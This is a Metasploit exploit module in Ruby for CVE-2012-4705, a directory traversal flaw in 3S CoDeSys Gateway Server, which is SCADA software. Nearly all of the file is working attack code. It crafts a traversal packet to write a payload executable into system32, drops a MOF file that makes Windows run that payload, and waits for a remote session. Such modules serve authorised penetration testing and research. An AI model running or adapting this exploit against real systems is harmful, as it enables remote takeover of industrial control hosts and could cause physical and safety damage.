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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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#   https://metasploit.com
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::WbemExec
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
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        'Description' => %q{
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          This module exploits a directory traversal vulnerability that allows arbitrary
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          file creation, which can be used to execute a mof file in order to gain remote
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          execution within the SCADA system.
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        },
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        'Author' => [
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          'Enrique Sanchez <esanchez[at]accuvant.com>'
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        ],
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        'License' => MSF_LICENSE,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [],
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          'Reliability' => []
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        },
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        'References' => [
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          ['CVE', '2012-4705'],
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          ['OSVDB', '90368'],
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          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
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        ],
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        'DisclosureDate' => '2013-02-02',
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        'Platform' => 'win',
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        'Targets' => [
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          ['Windows Universal S3 CoDeSyS < 2.3.9.27', {}]
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        ],
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        'DefaultTarget' => 0
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(1211),
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      ]
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    )
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  end
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  ##
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  # upload_file(remote_filepath, remote_filename, local_filedata)
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  #
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  # remote_filepath: Remote filepath where the file will be uploaded
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  # remote_filename: Remote name of the file to be executed ie. boot.ini
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  # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
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  def upload_file(remote_filepath, remote_filename, local_filedata = null)
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    magic_code = "\xdd\xdd"
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    opcode = [6].pack('L')
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    # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
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    file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
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    pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
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    # Magic_code  + packing + size
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    pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
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    tmp_pkt = opcode << file
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    tmp_pkt += "\x00" * (0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
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    pkt << tmp_pkt
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    print_status("Starting upload of file #{remote_filename}")
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    connect
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    sock.put(pkt)
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    disconnect
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    print_status("File uploaded")
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  end
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  def exploit
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    print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
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    # We create an exe payload, we have to get remote execution in 2 steps
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    exe = generate_payload_exe
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    exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
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    upload_file("windows\\system32\\", exe_name, exe)
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    # We create the mof file and upload (second step)
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    mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
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    mof = generate_mof(mof_name, exe_name)
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    upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
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    print_status("Everything is ready, waiting for a session ... ")
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    handler
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    # Taken from the spooler exploit writen byt jduck and HDMoore
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    cnt = 1
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    while session_created? == false and cnt < 25
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      ::IO.select(nil, nil, nil, 0.25)
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      cnt += 1
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    end
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  end
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end
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